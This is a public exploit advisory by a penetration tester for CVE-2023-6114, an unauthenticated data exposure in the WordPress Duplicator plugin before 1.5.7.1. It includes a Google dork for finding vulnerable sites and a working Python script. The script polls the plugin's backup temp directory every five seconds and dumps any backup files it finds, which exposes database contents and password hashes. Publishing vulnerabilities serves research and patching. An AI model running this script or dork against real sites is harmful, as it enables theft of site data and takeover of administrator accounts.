WordPress Plugin Duplicator < 1.5.7.1 - Unauthenticated Sensitive Data Exposure to Account Takeover
# Exploit Title: WordPress Plugin Duplicator < 1.5.7.1 - Unauthenticated Sensitive Data Exposure to Account Takeover # Google Dork: inurl:("plugins/duplicator/") # Date: 2023-12-04 # Exploit Author: Dmitrii Ignatyev # Vendor Homepage: https://duplicator.com/?utm_source=duplicator_free&utm_medium=wp_org&utm_content=desc_details&utm_campaign=duplicator_free # Software Link: https://wordpress.org/plugins/duplicator/ # Version: 1.5.7.1 # Tested on: Wordpress 6.4 # CVE : CVE-2023-6114# CVE-Link : https://wpscan.com/vulnerability/5c5d41b9-1463-4a9b-862f-e9ee600ef8e1/ # CVE-Link : https://research.cleantalk.org/cve-2023-6114-duplicator-poc-exploit/A severe vulnerability has been discovered in the directory */wordpress/wp-content/backups-dup-lite/tmp/*. This flaw not only exposes extensive information about the site, including its configuration, directories, and files, but more critically, it provides unauthorized access to sensitive data within the database and all data inside. Exploiting this vulnerability poses an imminent threat, leading to potential *brute force attacks on password hashes and, subsequently, the compromise of the entire system*.* POC*: 1) It is necessary that either the administrator or auto-backup works automatically at the scheduled time 2) Exploit will send file search requests every 5 seconds 3) I attack the site with this vulnerability using an exploit Exploit sends a request to the server every 5 seconds along the path “*http://your_site/wordpress/wp-content/backups-dup-lite/tmp/ <http://your_site/wordpress/wp-content/backups-dup-lite/tmp/>”* and if it finds something in the index of, it instantly parses all the data and displays it on the screen Exploit (python3): import requests from bs4 import BeautifulSoup import re import time url = "http://127.0.0.1/wordpress/wp-content/backups-dup-lite/tmp/" processed_files = set() def get_file_names(url): response = requests.get(url) if response.status_code == 200 and len(response.text) > 0: soup = BeautifulSoup(response.text, 'html.parser') links = soup.find_all('a') file_names = [] for link in links: file_name = link.get('href') if file_name != "../" and not file_name.startswith("?"): file_names.append(file_name) return file_names return [] def get_file_content(url, file_name): file_url = url + file_name if re.search(r'\.zip(?:\.|$)', file_name, re.IGNORECASE): print(f"Ignoring file: {file_name}") return None file_response = requests.get(file_url) if file_response.status_code == 200: return file_response.text return None while True: file_names = get_file_names(url) if file_names: print("File names on the page:") for file_name in file_names: if file_name not in processed_files: print(file_name) file_content = get_file_content(url, file_name) if file_content is not None: print("File content:") print(file_content) processed_files.add(file_name) time.sleep(5) -- With best regards, Dmitrii Ignatyev, Penetration Tester |